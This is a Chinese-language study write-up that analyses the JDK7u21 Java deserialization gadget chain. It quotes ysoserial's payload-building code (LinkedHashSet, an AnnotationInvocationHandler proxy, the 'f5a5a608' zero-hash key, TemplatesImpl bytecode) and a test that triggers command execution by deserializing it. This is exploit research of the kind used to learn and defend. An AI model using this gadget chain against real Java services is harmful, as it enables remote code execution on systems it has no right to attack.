JDK7u21
1、前置知識
jdk7u21是一條不依賴CommonsCollections庫依賴的,看利用鏈所有知識其實跟CommonsCollections也有重複,我們來學習一下以前沒學過的類或者方法。環境是jdk7u17。
LinkedHashSet
首先入口是LinkedHashSet的readObject方法,LinkedHashSet是HashSet的子類,也繼承了序列化介面和集合介面,但是LinkedHashSet是沒有重寫readObject方法的,所以LinkedHashSet呼叫的是HashSet的父類的readObject方法
//建構函式,可以看到是直接呼叫父類的方法
public LinkedHashSet(int initialCapacity) {
super(initialCapacity, .75f, true);
}
AnnotationInvocationHandler
hashCodeImpl
這個函式就是用來計算hashCode的,具體分析可以看POC除錯,
private int hashCodeImpl() {
int var1 = 0;
Entry var3;
for(Iterator var2 = this.memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) {
var3 = (Entry)var2.next();
}
return var1;
}
memberValueHashCode
這個也是用來計算hashCode,可以看到裡面都是呼叫hashCode方法,具體作用看POC除錯
equalsImpl
用來通過invoke來執行我們的惡意程式碼,具體看POC除錯
TemplatesImpl
getOutputProperties
其實getOutputProperties就是用來呼叫我們的newTransformer,然後就是跟cc鏈一樣去例項化templates造成RCE
public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
return null;
}
}
2、POC分析
2.1、利用鏈
/*
Gadget chain that works against JRE 1.7u21 and earlier. Payload generation has
the same JRE version requirements.
See: https://gist.github.com/frohoff/24af7913611f8406eaf3
Call tree:
LinkedHashSet.readObject()
LinkedHashSet.add()
...
TemplatesImpl.hashCode() (X)
LinkedHashSet.add()
...
Proxy(Templates).hashCode() (X)
AnnotationInvocationHandler.invoke() (X)
AnnotationInvocationHandler.hashCodeImpl() (X)
String.hashCode() (0)
AnnotationInvocationHandler.memberValueHashCode() (X)
TemplatesImpl.hashCode() (X)
Proxy(Templates).equals()
AnnotationInvocationHandler.invoke()
AnnotationInvocationHandler.equalsImpl()
Method.invoke()
...
TemplatesImpl.getOutputProperties()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
ClassLoader.defineClass()
Class.newInstance()
...
MaliciousClass.<clinit>()
...
Runtime.exec()
*/
2.2、POC分析
這裡使用ysoserial來分析,看看大佬是怎麼構造poc的,主函式在getObject方法裡
public Object getObject(final String command) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command);
String zeroHashCodeStr = "f5a5a608";
HashMap map = new HashMap();
map.put(zeroHashCodeStr, "foo");
InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
Reflections.setFieldValue(tempHandler, "type", Templates.class);
Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);
LinkedHashSet set = new LinkedHashSet(); // maintain order
set.add(templates);
set.add(proxy);
Reflections.setFieldValue(templates, "_auxClasses", null);
Reflections.setFieldValue(templates, "_class", null);
map.put(zeroHashCodeStr, templates); // swap in real object
return set;
}
第一部分程式碼
final Object templates = Gadgets.createTemplatesImpl(command);
我們跟進createTemplatesImpl去看,判斷為否,直接返回過載方法,除了命令,還傳入了TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class,繼續跟進
public static Object createTemplatesImpl ( final String command ) throws Exception {
if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) {
return createTemplatesImpl(
command,
Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),
Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"),
Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"));
}
return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
}
首先是第一紅框例項化了我們的TemplateImpl,然後使用javassit構造一個惡意類,首先建立一個類池,把StubTransletPayload和abstTranslet的路徑插入類池,然後StubTransletPayload的名字建立一個類clazz。第二個紅框就是把惡意程式碼嵌入惡意類,然後設定名字和父類abstTranslet,然後轉成位元組碼賦值給classBytes
StubTransletPayload就是作者創造的一個靜態類
我接著繼續看,看程式碼的意思反射設定屬性值,跟進去看看。
跟進來發現就是反射直射屬性值,所以就是反射設定我們第一行建立的templates,然後設定屬性_bytecodes、_name和_tfactor,然後就返回惡意的Templates
我們一個一個來看,其實前面兩個在ComonsCollections鏈已經分析過,這裡簡單說明。
_name
在TemplateImpl裡面的getTransletInstance,會有判斷。繼續進入當_class為null進入defineTransletClasses
_bytecodes
在defineTransletClasses,會有對_bytecodes判斷,然後賦值給_class,返回getTransletInstance方法例項化_class。
_tfactor
看一個大佬的文章說是 在defineTransletClasses()
時會呼叫getExternalExtensionsMap()
,當為null時會報錯,所以要對_tfactory
設值,但是在jdk7u17上並未發現,也許在其他版本,這裡就不深究
其實這部分程式碼就是為了生成一個惡意的templates
第二部分程式碼
這部分就是新建一個HashMap,把一個特殊的字串(“f5a5a608”)作為map的key,看屬性的命令是說空的HashCode字串,這裡不做深究,調式在具體看
String zeroHashCodeStr = "f5a5a608";
HashMap map = new HashMap();
map.put(zeroHashCodeStr, "foo");
第三部分程式碼
InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
Reflections.setFieldValue(tempHandler, "type", Templates.class);
Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);
1.第一行獲取AnnotationInvocationHandler的型別並且使用map作為引數,賦值給tempHandler
InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
ANN_INV_HANDLER_CLASS就是AnnotationInvocationHandler類
getFirstCtor就是通過傳入的名字反射獲取結構體,newInstance就是通過getFirstCtor獲取結果提然後根據傳入的引數(map),建立一個例項
2.第二行反射 設定tempHandler的type的屬性值為Templates.class,在getMeberMethods方法會用到
Reflections.setFieldValue(tempHandler, "type", Templates.class);
3.第三行就是建立代理,我們跟進去createProxy看看
Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);
進來發現其實就是把傳入的tempHandler(建立了一個代理),allIface就是介面型別(Templates.class)。
第四部分程式碼
建立一個LinkedHashSet,LinkedHashSet在前置知識有學習過,然後再LinkedHashSet存入兩個變數,一個惡意類templates,一個代理類proxy,proxy裡面其實就是一個map,然後反射設定屬性_auxClasses、_class,這兩個都是為了在TemplateImple的getTransletInstance方法不報錯的。最後就是把map的key(zeroHashCodeStr)的值設定為templates
為啥最後才設定,真的可以加入swap記憶體裡嗎,自己去除錯時發現是可以的
LinkedHashSet set = new LinkedHashSet(); // maintain order
set.add(templates);
set.add(proxy);
Reflections.setFieldValue(templates, "_auxClasses", null);
Reflections.setFieldValue(templates, "_class", null);
map.put(zeroHashCodeStr, templates); // swap in real object
ysoserial對程式碼進行很好的封裝,自己以後寫小工具,可以多借鑑大佬的這種封裝思路。
2.3、POC除錯
寫個測試類
package ysoserial.test.payloads;
import org.apache.xalan.xsltc.trax.TemplatesImpl;
import ysoserial.payloads.Jdk7u21;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
public class Jdk7u21Test {
public static void main(String[] args) throws Exception {
Object calc = new Jdk7u21().getObject("open /System/Applications/Calculator.app");
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("test.ser"));
oos.writeObject(calc);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("test.ser"));
Object o = ois.readObject();
}
}
首先在HashSet處打下斷點,就是先判斷傳入的型別是什麼,傳入的是LinkHashMap,就會新建一個LinkHashMap賦值給map,然後進入for迴圈反序列賦值給e變數(惡意的TemplateImpl),然後和空的Object物件一起存入map。LinkHashSet我們存入兩個物件,分別是TemplateImpl和proxy,第一遍是TemplateImpl,我們繼續跟進put方法。
其實進入到Hashmap的put方法,首先判斷key是否為null,然後計算key(既TemplatesImpl)的hash,hash是833788266,然後呼叫indexFor方法傳入hash和table的長度,table就是空entry如下圖,我們跟進去
就是把hash和length進行位與運算然後直接返回,出來put的方法
得出i=10,進入for迴圈,上邊說過table是空的,所以直接越過for迴圈,
然後就到了我們addEntry方法,傳入hash、key(TemplatesImpl)、value、i(10),value是空的Object物件,我也跟進去看看
進來發現是LinkHashMap,其呼叫父類(HashMap)的方法,繼續跟進
進入HashMap的addEntry方法--》createEntry建立一個entry,並且賦值給table。
然後就結束了,返回到readObject方法的第二次迴圈,map的key存放的是proxy,我們的代理物件(AnnotationInvocationHandler),繼續跟進
我們要進入for迴圈,就是這條鏈最精華的部分,真實讓i為我們上次傳入的的值一模一樣,這樣table[i]才不為null,e不為null才能進入迴圈,就是”for (Entry<K,V> e = table[i]; e != null; e = e.next) “,我們繼續跟進hash方法,key為Proxy,Proxy就是我們的AnnotationInvocationHandler
進入hash方法,就是k就是proxy,所以是proxy呼叫了hashCode()方法,就是AnnotationInvocationHandler呼叫了hashCode方法,因為代理物件會呼叫invoke方法,繼續跟進
進入invoke方法後,會反射獲取方法名(hashCode),判斷是否為“equals”,負責就位根據方法名呼叫物件的方法,所以呼叫的是AnnotationInvocationHandler(this)的hashCodeImpl(),繼續跟進
進入hashCodeImpl,發現var2是一個迭代器,迭代的是memberValues
this.memberValues為構造方法傳入的map,(“f5a5a608”=templatesImpl)
我們繼續來看for裡面的判斷語句
var3是通過第一遍迴圈通過var2賦值的,就是我們傳入map(“f5a5a608”=templatesImpl)
就是var3的key的hashCode和var3的value值的hash值進行位異或操作,
var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())
127 * ((String)var3.getKey()).hashCode() 為0,因為key為f5a5a608,f5a5a608的hashCode=0,我們跟進去
memberValueHashCode的引數就是templatesImpl,會呼叫templatesImpl的hashCode()方法,所以得到與第一迴圈完全一樣的hashcode,我們跟進去計算一下,得到了855362136,怎跟我們算的不一樣,答案是這是是hashCode,並不是hash方法,我們繼續跟下去
所以使用0和templatesImpl的hashCode()進行異或運算得到就是templatesImpl的hashCode()
然後再hash方法中通過位異或運算
可以看到得出來的hash結果跟第一遍的833788266一樣
最後我們成功進入到for迴圈裡
我們來繼續看if語句,只有e.hash == hash && ((k = e.key) == key為假,才會執行key.equals(k),我們的目的執行地
首先看e.hash == hash,e.hash就是我們第一次迴圈的templateImpl的hash,hash就是proxy(map(“f5a5a608”=templatesImpl))的hash,為ture
(k = e.key) == key,這個肯定不一樣,為false,因為k=e.key是第一遍迴圈傳入的templateImpl,key是第二遍迴圈傳入的proxy
所以就會執行我們的key.equals(k),就是proxy.equals(templateImpl),到了這裡又不得不說誇一句作者牛!
接下來我們繼續跟進key.equals(k),就是proxy.equals(templateImpl),所以會進入到我們AnnotationInvocationHandler的invoke方法,
var1為代理物件,var3為TemplatesImpl
首先反射獲取方法名,然後判斷var4是否equals,肯定是的因為我們就是通過equals方法就來的,成功進入if,到了equalsImpl方法,引數是var3就是TemplatesImpl,就是this.equalsImpl(TemplatesImpl),繼續跟進
進入equalsImpl方法,發現var5.invoke(var1),var1就是TemplatesImpl,var5是通過var2[],var2[]是this.getMeberMethods(),我們檢視一下該方法。
進入後發現this.type就是我們賦值的TemplatesImpl物件,獲取的就是newTransformer和getOutputProperties.
所以var2[]存的newTransformer和getOutputProperties.方法,第一遍迴圈拿到的是newTransformer方法
然後通過invoke,反射執行TemplatesImpl的newTransformer方法(可以看到var6是newTransformer),例項化我們的TemplatesImpl,造成遠端程式碼執行,後面的就不跟進去了,不懂的可以看看CommonsCollections鏈
但是為啥沒有進入getOutputProperties方法去,雖然進去的也是呼叫newTransformer,兩個方法,第一個就是newTransformer,直接就遠端程式碼執行了(在getOutputProperties打斷點也沒有用),也許jdk不同把,有大佬有其他答案望告知。
2.4、結束
通過這次學習jdk7u21發現作者的思路真的是很巧妙,借鑑很多大佬的經驗,邏輯運算很多,細節很多。接下來就去學習除錯fastjson。
參考連結
https://cnblogs.com/nice0e3/p/14026849.html